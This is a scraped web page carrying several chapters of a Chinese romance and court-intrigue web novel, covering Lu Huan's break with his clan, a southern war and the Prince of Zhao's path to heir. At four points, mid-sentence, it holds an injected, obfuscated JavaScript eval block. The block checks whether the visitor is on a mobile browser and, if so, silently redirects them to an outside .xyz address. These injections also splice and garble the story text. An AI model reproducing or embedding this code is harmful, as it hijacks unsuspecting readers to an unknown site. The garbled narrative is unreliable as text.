她驻足屋前，思绪纷飞间，倒是想着药园的开销来。幸好村里这农庄和走地鸡的生意慢慢周转开，不然那连片的荒山大家伙是没有那个底气开出来的。 雨雾氤氲间，院角的小柴门处却是传来一声“吱呀”声…… 乔小遇在见到陆桓的瞬间便已湿了眼眶，没等她提起裤脚冲进雨幕，陆桓已快步迎了上来。她捧着陆桓的脸，瞧得那雨水顺着眉尾留下来，轻轻伸手擦了去…… “我原以为会有很多话想说，很多事想问的，可等真的看到你，却发现不知道从什么地方说起。”乔小遇仰头轻笑着，眉目间似如五月风拂，挟裹着松木在雨中浸透了的那种明润。 “那就慢慢问……”陆桓贴近她的眉眼，心间是无比畅快，连日赶路的疲惫感也在这瞬间蒸发了，“我想过三年会很长，可等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924430|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了南境之后，发现一年、半年、一个月的时间都很长，我可能待不了几天，可我想回来见你。” “局面稳定了么？还要打多久啊？”乔小遇仰头问他，她知道这样的问题空泛，战事瞬息万变，谁也料不准，可她总要问一问才安心。 陆桓见她忧虑这些事，忍不住将脸印在她的眉心，轻笑道：“最多两年……你等我回来，回来我们就成亲。” “你这次回来，是担心我悔婚？”乔小遇没想这厮竟扯到旁的事了，脸上俏红，倒想吐槽他几句，却想着不吉利，只伸手将人抱得更紧，道：“两年，不能再多了。” “再多了会怎样？”陆桓语调轻松，“再两年，你有钱便那富贵人了，我就可以吃软饭了！” 乔小遇听得可想锤他一顿，故作严肃地道：“你莫不是想得太美，不去地里干活只想收账来着？” “我是做惯了富贵闲人的，从前也只在读书上下过苦功夫。可后来嘛……”陆桓摇头叹气，却不再想从前的事，接着道：“至于以后，当个农夫却也不知道能不能成，不然做个账房先生好了。” 乔小遇闻及，却是想到在她的世界里的某个诗人，在月升时荷锄而归的事迹，便如陆桓这般，就算有心做个农夫，也是没有那个天赋啊…… 账房先生么？似乎还行。她不自觉地笑弯了眼。 瞧着外头水汽渐大，两人半揽着先进了屋。乔小遇去放斗笠，一边问道：“会烧火么？将你衣裳烘一下。” “你使唤人便使唤呗，不必激我。”陆桓叹气，可站起身来，这屋子里的打火石、木柴等类他是什么也不清楚放在哪里的…… 很好，又被她“嘲笑”到了。想到两人相识以来的种种，他留给乔小遇“嘲笑”的把柄简直不计其数，尽管在乔小遇看来，这顶多能算个出糗而已，可陆桓瞧着她的神情，不觉羞恼了几分。 “你确实适合当个富贵闲人。”乔小遇径直走了过来，接过他手中的松果，“你且去后檐下拾几块干柴来。” 陆桓无奈只能任她支使。搭了俩架子放火边，陆桓直接脱了外裳搭在上头，转身倒是见着乔小遇盯眼朝自己看着，不由得戏谑笑道：“还要接着脱？” 乔小遇是没想到这人会这么说的，但当下做出羞涩的神情算怎么一回事？她索性壮了胆子，道：“倒也不是不可以，你自己觉着不亏就行。” “那你不亏？”陆桓知道她胆子大，却没想到两人会这样对话，到底顾及她的名声，只好偏头过去整理衣裳，掩去眸中尴尬之色。 乔小遇见他收敛，笑道：“什么都没见着，却也没赚着。”陆桓皱眉，哪里还敢去招惹这人……他就该知道，乔小遇本来就不顾及这些，他这皮囊仅是表象，不至能到惑了乔小遇的地步，嘴上功夫他讨不了便宜了。 可真被压得死死的…… 102. 割舍符号 火跟着便烧了起来，陆桓坐在火边，一边脱下鞋袜烘烤，一边道：“南境兵叛有越国在后扶持，此次平叛结束之后，朝廷不会答应议和，兴许还有战事。那边雾瘴太多，行军不易，止泻治痢的药物你也可以计划了。” 乔小遇点头，“销路没有问题，等日后战事平定，村里也得了个长久发展的计策。” “也不知道如今傅震大哥家里情况如何？”乔小遇知道自从傅震自从把金葫芦口灭尸案暴露于世人面前后，便彻底消失在了世人眼中。若不是有多方牵掣，怕是早已命送黄泉。 陆桓安慰道：“你不必忧心，官场里有人提防呢，秦王越是建功心切，傅震活着便愈是提醒他污点的存在。终究回不到从前了，官家再怎么宠信他，新仇旧怨一齐，不会有人想要看到他上位。等南境的叛乱一定，就是他颠覆的那一刻。” 乔小遇有些存在疑问的是，斗倒一个秦王之后，陆桓对于任连忠还会耿耿于怀么？是否回牵扯进更大的政治漩涡当中，不自觉地想要握住更多，掌控更多…… “那你所决定的终点究竟是哪里呢……你说的账房先生是否只是诓我一遭？”乔小遇压低了声量，接着道：“你能割舍得下么？” 听到这话，陆桓终于敛起嘴角那股笑意，一本正经地反问道：“不信我？” 乔小遇只答：“我只是要很明确地告诉你，如果同你去到那花团锦簇的地方，我能够适应，或许也能够做得很好。可那样一个我，不是我所喜欢的了，我也从不曾想着去到那样一个地方。” 陆桓心里虽然明白这点，但也跟着说了一句：“但你无论变成什么样子，都是我所喜欢的。” “我管你喜不喜欢。”乔小遇的神情严肃又坦然，她想告诉陆桓，她对两人的邂逅充满了无限的欣喜，但对于“割舍”这个词汇的理解，从来不在于做出抉择时的纠结反复，而在于自己的心里更看重什么，更想要拥有什么。 所以，就算陆桓做出什么承诺，就算他日后毁诺，乔小遇她也有自己的选择。 “我清楚了。”陆桓郑重颔首。他本就清楚的，乔小遇会在承诺期间等待他，但如果一旦自己毁诺，她也可以决然离去。就说主上可笑，怎么会认为这小女子会因为婚约而对所谓的大业一再妥协呢？ 乔小遇见他释然却又苦笑不得的脸色，倒是直接问道：“你这般神情，我倒是有几分心思去揣测你方才的话了。” 陆桓抬了眉眼，问：“揣测什么？” “你这次回来，其实是想让我心里安定一些，是么？”乔小遇轻笑，“我知道局势瞬变，也知道你有很多妥协，但我的妥协，怎样都是要我心里自在的，我愿意为你做妥协，但我不自在。” 陆桓闻言只觉得心口一阵发热，仿佛有一根根嫩笋接连破土而出，飞速生长着快要冲破心房去。他的心上人，是真的与众不同。那些军中损友可出的什么馊主意呢，妄想着让他不顾礼法，此番回来先成了亲去，就此就能牵绊住这女人……真是可笑得紧。 他轻轻伸手握住乔小遇，面上表情是前所未有的认真，道：“我不会让你不自在的。有些话，我今日没有问出口，日后也不会。” 乔小遇摇头，“你不必允诺什么，因为我知道事情在变，人也在变。但若有朝一日你这样问我，那便是我们分道扬镳之时。” 陆桓心里一阵叹气，他就知道的，他哪里能够拿捏住这人。 罢了罢了……就这样吧。过了这重山，依旧有万重山，意义风发时，立我山河志，而当退之时退，不见得就不是一场安稳梦。 不过他退了，那便应当将这姓氏所赋予自己的东西反馈回去，这是割舍。 阴雨绵沉，仿佛一根根沾了露水的蛛网般将天际切割。 陆氏宗祠。漆黑光亮的地面上，拉出一条长长的暗影。 陆彪坐在上首，面色掩暗，其他族老依次分列。当下，众人且瞧得陆桓微微佝偻着的身形，一阵摇头。 陆彪皱眉，道:“请族法家规来。” 三指粗的牛筋鞭子由仆人请了上来，一个族老见陆桓神色平淡，不忍道：“你可想好了？” 陆桓轻轻点头。长鞭落下，渐将他后背的衣服撕烂开，所见处殷红的血、豆大的汗，陆桓渐渐支撑不住，身体往前摔扑下去。 一鞭，就当这十多年中，他陆桓仅仅一个符号而已。 再一鞭，就当他陆桓割舍姓名，负债良多。 …… “话说回来，谁愿意生下来就是负债的呢。”乔小遇借着火光，一边给陆桓上药，一边道：“其实我在想，如果我父母不生我，也会有另一个孩子降生去接替我承受这一切，繁重的农务、被安排的婚姻，撑弯了脊背也破不开的这天。包括父母因为年迈身体不适而产生的抱怨苦吟，家中因为银钱紧张而弥漫的沉重气氛，一个代表‘乔小遇’的符号经历了这一切，也被迫接受了这一切，‘乔小遇’没有选择。” 说到这里，乔小遇倒是想起之前村里有个大娘来家里碎嘴子的事了，笑道：“村里还有老婆娘夸我命好呢，居然能傍上你，傍上陆家，原适有福气的，日后是那当阔太太的命，她原先怎么就没瞧出来呢。” 陆桓笑：“如今我已被逐出陆家，昔日背刺陆家之事也闹得人尽皆知，算是声名狼藉了，她还会觉着你命好吗？” “倒还不是命好不好的问题。”乔小遇抹好药之后便将瓶子放在一边，帮着陆桓拉上衣裳，戏笑道：“只她一面倒说我命好，一面却倒说你陆家高门大户，那叫什么‘一入侯门深似海’，只怕我进去被人吐了骨头不剩不说，人也会忘本，若家里有个什么事需要帮衬的，我会置之不理，遇到他们这些村里人去寻我帮忙，只怕我会拿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924431|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫帚将人扫出去……” 陆桓抚掌大笑，“这可真是能未卜先知，回头遇到这人，我也得请她给我算算命，若能说上一两句准，不妨将人举荐去太卜寺，日后混个风生水起，也能帮衬咱们一二。” 这人是懂怎么讥讽人的！ “我和你相比，最缺的就是这看人的眼光了。”两人相视一笑。 在乔小遇看来，她与陆桓的姻缘如果归于“命运”，不如在后面加上些字，凑成“命运的挣扎”更合适。陆桓与她，对于所在的小家、大家而言，仅仅一个符号而已。教人出去吹嘘的符号也好，最后教人唏嘘的符号也罢，他们从来不是自己本身，更多的时候，确实只是一个被操控的提线木偶。 乔小知想要拿捏她，陆氏想要利用他，因为觉得他俩这工具太趁手吧。 可脱离这样的关系后，才能得其自由啊……所以乔小遇十分理解陆桓的决定，即便所付出的代价是如此惨烈：这往后，陆桓是再不能进陆家一步了。 至于一些无法脱离开的关系，那就看情况了，比如乔小遇她自己与乔家村。她不是严格意义上的“生”在这里，但长在这里，她是无法剥离这样的关系的。 当陆桓被逐出陆氏的消息传出来后，乔家村竟才得知陆桓回来了。也有那些个嘲讽的，“昨日见她风光，人逢场还当她是陆氏媳妇儿敬重，如今什么狗屁都不是了！” 乔冉安夫妻俩也想不通，但不比得村里一些乡亲，径直来问乔小遇说：“离了陆氏，日后官府那边还怎么好打点呢？也不是叔婶们说你，怎么也不劝着些那个猢狲？这天可真是被他捅破了！” 乔小遇听人这般言语刻薄，心里明白这些人是忧心那药材生意竹篮打水一场空，如今便倚仗着自己沾些姻亲、年龄又长些前来置喙了，与从前的闲言碎语并不相同…… “乡亲们说话还得掂量下自己的舌头有几斤几两重，什么‘打点官府’这样的话可千万不要说了，外人一听还当县老爷是个吞金银的贪官污吏，捅出去那可不得受刑么！我当见诸位年老体迈，受不得那份苦！” 乔小遇冷了脸，直接道：“这药材生意是大家一块入伙的，我不曾强逼着谁，如今也不谈说当初谁巴着过来，只道想转出的径可找我，按照当初订下的条约，我乔小遇一文不少地给大家兜底。” 人群中不知谁冷笑了声，道：“若我们现在退出，你家有那银钱来偿？”大家心知这药材生意前期投入如何，乔小遇手头早已吃紧，如今倒怎么在这里充大话呢？ “现下倒是没有……”乔小遇眼见着人声吵嚷，接着定声道：“但我已和几位徽商签下单子，咱么第一批的白芨、田七已不愁销路。” “真的？这什么时候的事啊？”众人睁大了眼，不再纠结于退出之事，反而问起药材的摘采、售卖事宜来。 乔小遇一一解答。 103. 南境平叛 总算是给村里的人吃了一颗定心丸。 至于陆桓，在伤势微好了些后，便离开了，因为前方战事已然吃紧。据陆桓所说，秦王在水战中于曹老将军意见相左，朝廷兵力便被分派至广济府南崖、惊滩两处，以成拱角之势。叛军声势浩大来袭，佯攻惊滩，主攻南崖，两边互援不及，导致损失惨重…… 除了战术安排不当，这次交锋最让人心惊的地方在于叛军在南方盘踞多年，为了这场战事做足了准备：水师船舰体量十分庞大，对战中的还匹配了弓箭、钩强，水军亦是训练有素…… 一时间军民愤慨，朝廷中某些重臣原以为这场战事不日便能结束的，却没想到这场大规模交战会是这样的结果。倒是知耻而后勇，朝廷从东陆边军召集了许多能够修造船舰的老兵，集军民之力速成以对。 如何速成呢？这安静的乔家村因为地处拖罗河上游，在接到军令后，县衙便征召了乔家村的村民上山伐木！为了赶在草药摘集和秋收之前完成这个重要任务，乔家村男女老少都跟着动了起来…… 前来监工的府州官员见此情形后十分惊讶，“都道民苦于疫，亦苦于役，旁人那是避之不及，若有两分家产可恨不得用去免役，可如今这乔家村上下一心，便没有被征召的竟也争先恐后，看来是地方教化有功。” 乔小遇听见这官员如此说时，正与村中几个妇人推那木头入河。不错，顺流而下，这木头到广济府的时间就能大大缩短，也省了许多人力成本……她是腹诽来着的，劳役名目从来就五花八门，有的是利民之事，有的却只是伤民之财，但凡征召，民岂有不从之理？至于民风教化这种词，也实在是晦涩得紧，终其本质，却还是要以利导之诱之！ 原本就是不从不可，如果村里人不忙着些，那么他们忙活了数月的药园事宜当怎么办呢？家国大义在前，但对村民而言能把埋怨收起的主要原因不过是还有念想。他们希望药园能多赚些银子贴补家里，种的莲藕果木、养的鸡鸭鱼虾能让他们有个崭新的活法，所以这才卯足了干劲…… 没有半点讽刺，大家都活得现实。 也不知随行的人与那官员说了什么，竟朝着乔小遇这个方向走了过来。 “本官乃朝州府军监，奉命监查此次伐木。”陈盎面容严肃，瞧得乔小遇回礼，目光中多了几分打量，才点头道：“听说你便是陆氏宗族未来的少夫人？此地虽道乡野，但能养出这样英姿飒爽的儿女，确实难得。陆氏宗族于地方教化有功，日后本官定要上书陈词一番。” 这人兴许是还不知道陆桓脱离宗族之事么？乔小遇心里叹气，也不管旁人如何反应了，平静地道：“陈军监有所不知，村中百姓无论男女老少合力上山伐木运材，只是为了战事早日平息，百姓生活能够早日安定。 乔家村是这条河的上游，接下来木头所流经过之处，必会让百姓议论纷纷，是战事流言发酵还是军民上下一心，都是一瞬之间。只要引导得当，相信军队应征之事就能迎刃而解。从这个角度上来说，乔家村的民众确实做了表率。这地方官员亦有功，若大人有心为这地方百姓谋一份嘉奖，不如请官家下旨在此处立个德政碑吧。” “立碑？”随行的荀县令眼睛一亮！这乔小遇居然没牵扯上陆氏，还把村民的自发行为定性为官府教化之功，这样的话，他的升迁考评可有得写了！但他心里明白乔小遇这请求来得突兀又直接，尤其在陆桓已经脱离了陆氏之后，她这言辞简直来得毫无倚仗，一不小心便会得罪人。 荀县令急忙掩下喜色，先斥道：“能不能立德政碑得看上面的议事结果，村民一腔报国之心本官也是感慨万分，只是如今战事焦灼，你这小女子已然想及日后声名，这点是否太过功利？” 陈盎闻言也是轻轻点头，他目光炯炯，倒是想看看乔小遇如何作答。 乔小遇心里知道这话由荀县令问，倒没有那么难以回答了。她壮了胆子，直接道：“若说功利也是有的，但民女这般想法也是为了生活在这里的村民。若日后有德政碑在此，定会有不少学子慕名而来，彼时这湾子也不再掩于高山之中，大家的日子才会有奔头。” 她言辞恳切，陈盎闻言后也是抚须赞道：“为民谋利，这样的功利怎么能算功利呢？”众人听罢不由得大笑起来。 多年之后，乔小遇回想起这个下午，依旧能清晰地记得在拖罗河面上的浮光跃金，一如她跳跃的心脏般虔诚。 村民们只当她胆子够大，而陈军监也是说话算话，官家竟真的为此地设了块德政碑，所涉官员就此官运亨通、青云直上，乔家村的村民无不以此为傲，而这件事仅仅是拖罗河湾扬名四方的开始。 男人在山里使了力气活将木头拉下山坡，小童们赶着黄牛将木头拉到河边，女人们合力将木头滚入大河中，看着它们顺流而下……这样的情景令沿河两岸的民众十分感慨，也足够激奋人心。覆巢之下，没有小家求全，是以国中上下齐心共渡，这才是官家决定在响应政令最迅速的河源立碑的原因。 十月雨临，叛军囤聚广南，双方拉锯情势已成。 春寒料峭，叛军围堵广南府，城中补给断绝，百姓不顾法令杀牛给城中守军送去，秦王知情后声泪惧下，自道食牛者与杀牛者同罪，只大敌当前，不得不为民枉顾国法，一旦战事结束，自请依法论处。 五月雾蒙，一向因醉心木工被朝臣参奏的赵王创出了新型的攻城剑弩和火炮，赵王随军参战，一面根据射程和当地矿产等因素调整作战装备，使夏军大大降低了伤亡。 夏军渐渐扭转战势，开始向南遣军收复失地。在这一年多的时间里，随赵王声名鹊起的，还有木机公子之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924432|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名，军民们都知道，无论是夏军突袭烧毁敌营粮草，还是栓草为“十”举成火把，假演出士兵数量多出两倍，从而吓退来袭敌军，这些计策都是木机公子的手笔。 陡峭的坡面上，一行奇袭小队伏下了身体，不敢发出任何动静，陆桓也在这股小队中…… “什么时候动手？” 陆桓沉了声，“等明天日出前吧，最好雾气足够重，让兄弟们从侧翼溜上去，先处理对面半坡瞭台上的敌军……回去说，大家先观察着。” “行，听公子的。”随行的韩小将军微微一笑，已然胜券在握。 …… “公子，伤药补给已经送达，但东陆调过来的水师那边受袭严重，请求支援，这伤药是否先行支援那边？” 陆桓一边看着军情奏报，一边回道：“不必调运前线储备，告诉斥候，东陆军的药物粮草补给已由朝州调运，不出两日必能到达。” “是。” …… “公子，朝州那边的家书……” “快呈上来。”只因听得有家中来信，陆桓才放下手中的笔，迫不及待地打开。他已脱离陆氏，这封家书只能是乔小遇寄来给他的。 在之前的两个月，夏军不断深入南地，发现当地百姓深受官府盘剥，所以百姓的反抗也十分激烈。赵王主张收复民心为主，平叛其次，但在朝廷还没有明确战略之前的几日，当地望族率领民众冲击了驻军，秦王副将张幼文直接率军出击屠杀，一时间民众的反应更是激烈。叛军、山匪、百姓无从区分，但见夏军驻地起止便是烧杀，冲突愈演愈烈，局势变得十分紧张…… 而陆桓也因此已经三个月没有联系上乔小遇了。拆信一看，陆桓才知自己之前送出去的信乔小遇是一张也没有收到。 所以，回信么？回了她也收不到。陆桓提了笔，只见墨汁汇聚滴下在纸上砸出一朵墨花，犹如之前回去见她那日、那一朵朵从草屋顶砸落在泥地上的雨花…… 陆桓第一次意识到等待的感觉竟是如此煎熬，周遭的一切仿佛都有那人的投影……黑的也好、黄的也罢，原不过清澈如一的水滴而已啊。他怎么能迟疑，有的问题，原本就有粗暴直接的解决方式！ 张幼文被迫写了谢罪书，撤去副将之职，夏军与望族谈判议和，最终叛军分裂成小股势力逃窜……情势终于转好，朝廷作为望族势力的支持者，在后续的平叛过程中有所襄助，终是将笼罩在南境上方的狼烟给灭了去。 “南境腹地与中原的联系本来就少，当地有自成的语言和民俗习惯，想要教化为杭府一带的情形十分困难，还不如以望族作为朝廷的主理人，以‘土官治土民’，便让望族世袭管理之职，对朝廷承担税金、徭役，按照敕令提供军队，如此也能限制望族势力。”谈判之前，陆桓对赵王如此献计。 104. 太子之位 与王土分封不同，无论日后朝中发生什么动荡，此间南境并没有出师理由，也很难割裂出去，如果发生割裂，多建立在中原自顾不暇、国势衰微的情境下。 而今，官家身体康健，此前征战频繁虽有耗国力，但外已平，南番脱离控制的情境是不会发生的，至于内……回程的路上，陆桓不得不郑重思量起日后的局势来。赵王也对这点忧心忡忡。 官家会立自己为皇太子么？自己是否对那个位置存有野心呢？明亮的火舌跳动，干燥的松木被烈火灼去了皮，全身烧得通红，随着阵阵“噼噼”声响起，那通红的松柴被断作了几截、体量也越来越小…… 赵王猛灌了一口烈酒，拍着自己的肚子，叹息道：“这几年沉浮于朝堂，本王都觉得自己像这烧红的松木般，肉越来越少、胆子也越来越小了！陆桓啊，本王原以为自己能继承先太子的遗志，在这朝堂上有一番大作为，可如今看来，都是被你们这些人推着往前走的，野心是膨胀了，却也觉得越来越没意思了……” 不同于其他皇子的英武长相，性格或自有主张、或杀伐果断，赵王身体偏于肥硕，笑意亲切和煦，是个能亲自去到西市与王妃买瓜吃的接地气的主儿。如果不是被“这些人”推着往前走，他觉得自己评曲大家，或是木匠大家都能做得——即便排除周围那些谄媚之言，他也是有些门道在身上的。 说闲散逸情，是有的。说心中存有先太子遗志，想肃清朝堂，那也是真的。在陆桓看来，赵王其实活得十分别扭，说他韬光养晦蓄势待发罢，实际上的赵王习惯了在官家面前予问予答，很少有什么让人眼前一亮的政见言明，更不用说玩弄权术了。官家也意识到，这个儿子只能做务实之事，虽还算得耳清目明，可若想让他继承大统，似乎有些难度。 陆桓沉默着，往火堆里继续丢了根带叶的松木进去，但见松叶瞬间化为灰烬，不可自抑地生出一种同情来。他与赵王之间隔了十来岁，算说主上臣下，怎会没有防备心，可当下情境，瞧着赵王喝得微熏的模样，陆桓不禁皱眉说道：“王爷将暗卫屏退了，便觉得自己能得一时自由了么？” “你们这些谋士推着本王不得不走，母妃也是全心筹划，然而圣心恩宠并不在本王这，你们还能推本王去哪呢？”赵王神情失意，看向陆桓的目光却忍不住自嘲道：“陆桓，你和先太傅一样，怕是都没下对注哦，本王怕是会让你们失望了……” “怎么会呢？王爷所创牛犁给百姓带来了多少福祉，改造箭弩火炮又减少了多少兵士死伤，如果仅用是否登上高位去评断有用与否、成败为何，那也实在可笑得紧了。”陆桓说及此处，不禁想到自己日后的打算，竟与眼前这天家贵胄有了同样的处境。 若谈及日后，陆桓觉得自己比赵王要幸运得多。 “倘若一直没有登上高位呢？陆桓你在回避问题。”赵王目光定定，接着道：“或许日后会另有英主，陆桓你才能承继你父之志，在朝中施展抱负。” 或许换了旁人，便会将这话当成一种试探，可对陆桓而言，他是清楚眼前的贵人在抛除血脉之后是怎样的一种务实性子，所以对于如今的赵王，更多的是对官家、对父权君权的诚惶诚恐，他甚至还惶恐自己无法达成那些推波之人的希冀，接不了天下之主的担子，毕竟连他的父皇都不敢下注。 他只是务实，却绝不木讷，皇意如何，他身处其中，其实能够真切地感受到。而对陆桓而言，他也到了需要坦明的时机…… “王爷，或许臣不能如您所愿了。”陆桓谨慎思量片刻后，道：“臣才是那个事先退出这局的人，即便您还没有登上那个位置，宫廷中或许会有变数，可恕臣直言，官家已没有更好的选择，便是任连忠那些人，除了您，他们也没有更好的选择了。” 赵王心惊，“什么意思？业未竞，你便想抽身而退？” “倒非逞一时之气，或者脑子糊涂了。”陆桓郑重颔首，笑着道：“其实臣一直在想，日后即便我留在朝堂，言私为了斗倒政敌，那无论斗或不斗，三代帝王三朝江山，大家都会化为一抔黄土；言公为生民立命，自有安西崔氏那些饱读诗书之人，隐于市井庭花落处的高人雅士，争为上游，心有所向，哪里似臣这般弃离宗族、不秉礼法呢？” “王爷在惶惑自己是否能登高位之前，不妨帮臣假设一番，若是臣这样的人立身朝堂，哪里能算得一个好模样？恩眷愈盛、政敌愈多，怎么也是要被言官看不顺眼的。”陆桓轻嘶了声，笑道：“像微臣父亲那般，将礼义宗法置为人生信条秉持的人，可见不得臣过逍遥日子。” 赵王见陆桓不似自贬，这番话似乎早已在心中转还很久了，不过今日才说出来而已，他心里却不知从何处憋忍了一股怒气，直接道：“你倒说得轻便，好似本王真会放你走一般。” “王爷肯定会放微臣走的。”陆桓朗声一笑，话音里充满了笃定，“因为王爷比谁都明白笼中鸟的苦闷，更不愿微臣步父亲后尘。此番回朝，钦天监所测命数不过天威荣降，王爷定是能登皇太子之位的，可微臣斗胆一问，若天家福寿绵长，并无退位之意，而王爷正值力强壮年，是否会心有不甘？” “不甘什么？你当本王会起兵反叛么？”赵王此刻终于被激出一股上位者的威压，探究的目光在陆桓身上扫了几个来回，末了才抚掌大笑道：“也就你这小郎能与本开这样的玩笑，如果是先太傅，便是会耳提面命，让人谨言慎行，不敢生出非分之心！你可真敢问……不是，先太傅居然会教养出你这样的儿子？你这小郎脱离宗族真是好事，不然陆家迟早被你拖入泥沼浸没而亡！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924433|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵王警告言辞一出，发现诚然，陆桓孑然一身，根本无所顾忌，不由得长叹出了口气，摇头说道：“若说不甘，也是有的。可本王原就只想当个闲散富贵人，被放在一个自己不应在、不愿在的位置上，哪里能生出野心，却也不敢生出怨怼之心啊，只是前路无望，却又得时时处处谨慎小心，皇长兄在时，本王哪里想过这些。陆桓啊，此时你在本王眼中，竟也同当初需要皇长兄庇护的手足一样，你就巴巴从本王这讨巧罢，回头本王治你个犯上之罪！” 酒液麻痹着神思，两人这对话实在不敬，分明都没喝多少，此刻却当自己已然迷迷糊糊醉了……身体向后倒去，便见漫天星辰闪烁着光却衬得苍穹迷蒙，周遭的军帐、火把仿佛也是苍穹俯视视角里的星辉点点。 “你可真出奇，有大好前途却要急流勇退，心有大志却让时间去完成变革，那本王呢？”赵王瞥了眼陆桓，瞧得他不知何时扯了根草麦在口中衔着，好一副松散样，心中滋味复杂。 陆桓依旧闭着眼，只道：“王爷仁孝，便是登不了高位也不会对官家生出怨怼之心，然而此生便被朝臣或是身边亲近之人推澜而行却又觉得不甘，不如将这份希冀转到睿隆小世子身上啊。” 睿隆？他那个聪颖敦厚的小儿？赵王的眼睛忽然一亮，不禁侧身往陆桓的身上重重一拍，大笑道：“好你个小郎，居然能出这么个奇招！” 仿佛柳暗花明，心间阴翳尽数散开了去，赵王忽然觉得就是自己无法登上权力的最高点，无法达成亲族筹谋规算的目标，似乎也不是那么可怕的事情了！当个恭敬仁厚的皇太子，不算勤勉、不算博识、也不算有宏图远志，那他也可以有自己衷意之事可做，本来他就不是按照帝位继承人的要求去培养的，本来他也无法像自己的皇长兄那般…… 赵王终于释然，他想着等回到宫城，便将睿隆送去母妃身边尽孝，只是这事会让王妃难受一段时间罢了。“哎，那便不如再生个胖小子，让王妃转移下注意力？”赵王的心思已然飘远，而且在他看来，王妃必是心疼自己要多过小儿才对，再说睿隆已经年岁渐长，被王妃精心教养成那般，日后养成个女孩儿性子可不好！ 赵王倒是越想，心里越有主意了！等他翻身过来，想与陆桓打听些日后谋算时，未想陆桓呼吸均匀，竟真的睡着了。或许这是近些年来，他的精神少有的不必紧绷的片刻，赵王思及此，不再扰他，继续在脑中规划起往后的日子来…… “最好是晚些入主东宫，还能经常出王府溜达……”可惜，朝中经此动荡，社稷为安，如陆桓所说，官家没有什么选择，只能立赵王为太子。这个引发了一系列阴谋争夺的尊位定下后，那些走动于朝堂后宫中的光影终于被按捺着隐入了假山甬道内，只要季节不更换迭变，它们就永远不会暴露。 105. 大婚之日 至于陆桓，已然决定远离朝中风波。 风雨微急，转眼便将院里的芭蕉打得噼啪声作响。任连忠负手瞧着雨水顺着屋檐流淌而下，在石阶上破裂溅开，实在也无法聚神了。按照他的设想，自己在斗倒陆彰之后，陆桓借着赵王之势必会与自己相争，他已经准备好了，那人竟然脱离了这局。 上次见面时，分明剑拔弩张的，虽然后续有利益交换，可他心里清楚，陆桓对他怎么也做不到释然，而今这人竟打算就这样离开了？暗线来报，后来转而投靠在他门下的几个陆彰旧部私下与陆桓见了一面……这不得不引发人遐想了。所以当陆桓携了傅震一家离开皇城后，不顾倾盆大雨，任连忠便将涉及的几个官员请到了府上。 拷问么，也不算吧，任连忠不认为自己还能拿出当年的铁血手腕了，他这身皮囊如今便像那刀刃所覆的红锈一般，乍看以为殷血杀伐，可实际上有多腐朽破败他自己心里很清楚。 腐败所滋生的不安盘桓在他心头，紧握着权力的他很想知道陆桓这出是不是兵诡之计…… “老爷，各位大人都来齐了，正在花厅等大人过去呢。” 任连忠闻言轻轻颔首，沉声道：“去把那几个野果子呈上去。” “诺。”下人依言退下去做这事了，而任连忠直到雨势微缓才回到花厅。“诸位尝尝这野梨如何？”任连忠进屋后便连忙招呼起身的众人坐下，斜睨了眼众人分毫未动那野果，诧异道：“怎么，诸位担心这野梨比显明当日所赠酸涩吗？” 显明，是陆彰的字。昔日，陆彰从太傅之位左迁至朝州，临出发前，赠请几位挚友同道野梨，取人隐、人离之意，至于后来发生种种，实在令人抱憾，那陆桓也是如此吗？ “任公多虑了，此一时彼一时也，我等既然决定当初追随您以图在朝中有所作为，便已舍弃私情，我等因势相聚，已成小人，任公既然以利相诱，何必担忧我们反复无常。”元勰作为当初陆彰的追随者之一，如今自说为“小人”，任连忠听了这话默默地放下手中茶盏。 这群人当初心存理想，改换门庭了还是这般死倔牛脾气。他接着疑问道：“意思是说，如果我对你们没有利，那诸位今日是不会登门了是吧？” 元勰和另几个朝中要员目光来回交接，默然片刻后，任连忠是终于承受不住这般尴尬氛围了，叹声道：“是我多言了，如果陆桓有意回来，诸位便散了罢。” 